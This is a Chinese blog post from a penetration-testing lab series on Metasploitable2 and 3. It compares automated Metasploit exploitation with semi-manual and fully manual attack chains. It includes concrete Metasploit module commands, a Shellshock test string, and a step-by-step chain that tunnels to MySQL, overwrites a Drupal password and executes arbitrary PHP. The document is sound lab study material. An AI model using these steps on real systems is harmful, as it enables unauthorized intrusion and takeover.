iT邦幫忙

2026 iThome 鐵人賽

DAY 28
0
Claude AI

打靶機 30 天:從 Metasploitable2 到 3 的滲透測試學習筆記系列 第 28 篇

手動攻擊 vs 自動化工具:該如何取捨

  • 分享至 

  • xImage
  •  

這邊引出一個更根本的問題:什麼時候該用工具?什麼時候該手動?

這不是一個「高手都手動、新手才用工具」的問題——那是錯誤的二分法。真正的答案是:每種方式都有它最強的場景,用錯了就是浪費時間。

先看數據:本系列的攻擊方式分佈

MS2 + MS3 合計 24 個攻擊入口的方式分佈:

  全自動(Metasploit 一鍵打)
  ████████████████████████  10 個(42%)
  vsftpd、Samba、UnrealIRCd(MS2)、Java RMI(MS2)、
  distcc、Continuum、UnrealIRCd(MS3)、Elasticsearch、
  Tomcat(MS3)、Java JMX

  半自動(工具偵察 + 手動串接)
  ████████████████          7 個(29%)
  Tomcat(MS2)、NFS、MySQL/PG(MS2)、
  Jenkins+JuicyPotato、GlassFish autodeploy、
  IIS+菜刀、FTP 爆破

  全手動(curl / nc / 手寫指令)
  ██████████████            7 個(29%)
  DVWA SQLi、Mutillidae XSS、Payroll SQLi→SSH、
  Rails Web Console+Docker、Samba WebShell、
  MySQL→Drupal PHP Filter、WAMPSERVER WebDAV

三種攻擊方式的能力邊界
全自動:Metasploit exploit 模組

全自動攻擊的特徵:

  輸入:set RHOSTS / set LHOST / run
  輸出:session(成功)或 error(失敗)
  人的參與:選模組、填參數
  
  強項                         弱項
  ───────────────────          ───────────────────
  ✅ 速度快(5 分鐘內完成)    ❌ 只能打「已知 CVE」
  ✅ 不需要深入理解漏洞原理    ❌ 目標版本不對就直接失敗
  ✅ exploit 邏輯由專家寫好    ❌ 遇到意外環境無法調整
  ✅ 可重複、可自動化           ❌ 無法處理跨服務攻擊鏈
  ✅ 有 check 指令可先驗證     ❌ 容易觸發 IDS/IPS 告警

真實案例——全自動的勝利:

Elasticsearch CVE-2014-3120(MS3 Windows)

  操作時間:5 分鐘
  use exploit/multi/elasticsearch/search_groovy_script
  set RHOSTS 192.168.145.146
  set LHOST 192.168.145.144
  run
  → 直接 SYSTEM

  如果手動做:
  → 需要理解 Elasticsearch 的 _search API
  → 需要構造特定的 Groovy 腳本注入格式
  → 需要處理 Java 環境下的 reverse shell
  → 估計耗時:30-45 分鐘

  用 Metasploit 省了 25-40 分鐘

真實案例——全自動的失敗:

CUPS Shellshock CVE-2014-6271(MS3 Linux)

  Metasploit 模組存在且可用
  但目標的 bash 已修補
  → run 之後:silence,什麼都沒發生
  → 沒有有用的錯誤訊息
  → 不知道是 exploit 不對、payload 不對、還是漏洞已修補

  手動驗證更快:
    env x='() { :;}; echo VULNERABLE' bash -c "echo test"
    → 只輸出 "test" → 2 秒鐘確認「已修補,放棄」

  自動化工具在這裡反而更慢(等待超時 vs 2 秒確認)

半自動:工具偵察 + 手動串接

半自動攻擊的特徵:

  輸入:多種工具混合使用
  輸出:逐步推進,每一步都有中間結果
  人的參與:判斷下一步做什麼
  
  強項                         弱項
  ───────────────────          ───────────────────
  ✅ 靈活應對意外狀況          ❌ 需要更多時間
  ✅ 可以串接不同服務          ❌ 需要對每個工具都有基本認識
  ✅ 工具自動化重複勞動        ❌ 中間步驟可能斷鏈
  ✅ 每一步都可確認進度        ❌ 需要記錄中間結果

真實案例——半自動的精彩:

Jenkins + JuicyPotato(MS3 Windows)

  工具混用清單:
  ├── curl — 確認 Jenkins Script Console 未授權
  ├── Groovy — 在 Script Console 執行偵察指令
  ├── Python HTTP Server — 提供 JuicyPotato 下載
  ├── JuicyPotato — 提權到 SYSTEM
  ├── evil-winrm — 最終登入
  └── 人的判斷 — 在每個步驟之間決定方向

  為什麼不能全自動?
  → 沒有一個 Metasploit 模組能從「Jenkins 未授權」
     一路打到「SYSTEM 權限」
  → 中間需要判斷:
     ✦ LOCAL SERVICE 能寫哪個目錄?→ C:\Users\Public
     ✦ Reverse shell 被擋了 → 改用 net user 新增帳號
     ✦ JuicyPotato 需要哪個 CLSID?→ 查 Win Server 2008 R2 的
  
  這些判斷是自動化工具做不了的

全手動:curl / nc / 手寫指令

全手動攻擊的特徵:

  輸入:直接操作 HTTP 請求、Socket、SQL 語句
  輸出:原始回應,需要自己解讀
  人的參與:全程控制
  
  強項                         弱項
  ───────────────────          ───────────────────
  ✅ 完全理解攻擊原理          ❌ 最花時間
  ✅ 可以應對任何意外          ❌ 容易犯語法錯誤
  ✅ 不受工具限制              ❌ 需要深入的技術知識
  ✅ 隱蔽性最高                ❌ 不容易重現(每次都要重打)
  ✅ 學習價值最高              ❌ 效率最低

真實案例——全手動的必要性:

MySQL → Drupal PHP Filter(MS3 Linux)— 7 步攻擊鏈

  Step 1:cat payroll_app.php → 找到 MySQL 密碼 'sploitme'
  Step 2:ssh -L 33306:127.0.0.1:3306 → SSH 隧道
  Step 3:mysql -h 127.0.0.1 -P 33306 → 連 MySQL
  Step 4:SELECT uid,name,pass FROM drupal.users → 查帳號
  Step 5:PHP 腳本生成 Drupal phpass hash
  Step 6:UPDATE drupal.users SET pass=... → 改密碼
  Step 7:登入 Drupal → 啟用 PHP Filter → 執行任意 PHP

  為什麼只能手動?
  ├── 每一步的輸出決定下一步的輸入
  │     MySQL 密碼 → SSH 參數 → SQL 語句 → PHP 腳本
  ├── 沒有任何工具能自動完成這種跨服務邏輯
  ├── 整條鏈沒有用到任何 CVE
  │     純粹利用「設定不當」和「功能濫用」
  └── 這條鏈的學習價值遠超 Metasploit 一鍵打

決策框架:什麼時候用什麼方式
快速決策樹

面對一個攻擊目標時的決策流程:

  這個漏洞有 CVE 編號嗎?
  │
  ├─ 有 CVE
  │   │
  │   ├── Metasploit 有模組?
  │   │   ├── 有 → info 看版本範圍
  │   │   │       ├── 匹配 → 全自動(Metasploit) ⚡
  │   │   │       └── 不匹配 → searchsploit 找獨立 exploit
  │   │   │                    → 半自動
  │   │   └── 沒有 → searchsploit 有嗎?
  │   │           ├── 有 → 讀 exploit 原始碼 → 手動修改執行
  │   │           └── 沒有 → 讀 CVE 描述 → 手動 PoC
  │   │
  │   └── 不確定目標版本?
  │       → 先 Metasploit check 驗證 → 再決定
  │
  └─ 沒有 CVE(設定不當、邏輯漏洞)
      │
      ├── 單步驟?
      │   ├── 是 → 全手動(curl 一行搞定) ⚡
      │   │        例:WebDAV PUT、預設帳密、匿名存取
      │   └── 否 → 看下面
      │
      └── 多步驟 / 跨服務?
          → 半自動 ⚡
          用工具做每一步,人來串接
          例:SSH 隧道 + MySQL + Drupal

上一篇
Metasploit Framework 使用心法整理
下一篇
打靶機 30 天犯過的蠢錯誤大公開
系列文
打靶機 30 天:從 Metasploitable2 到 3 的滲透測試學習筆記 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言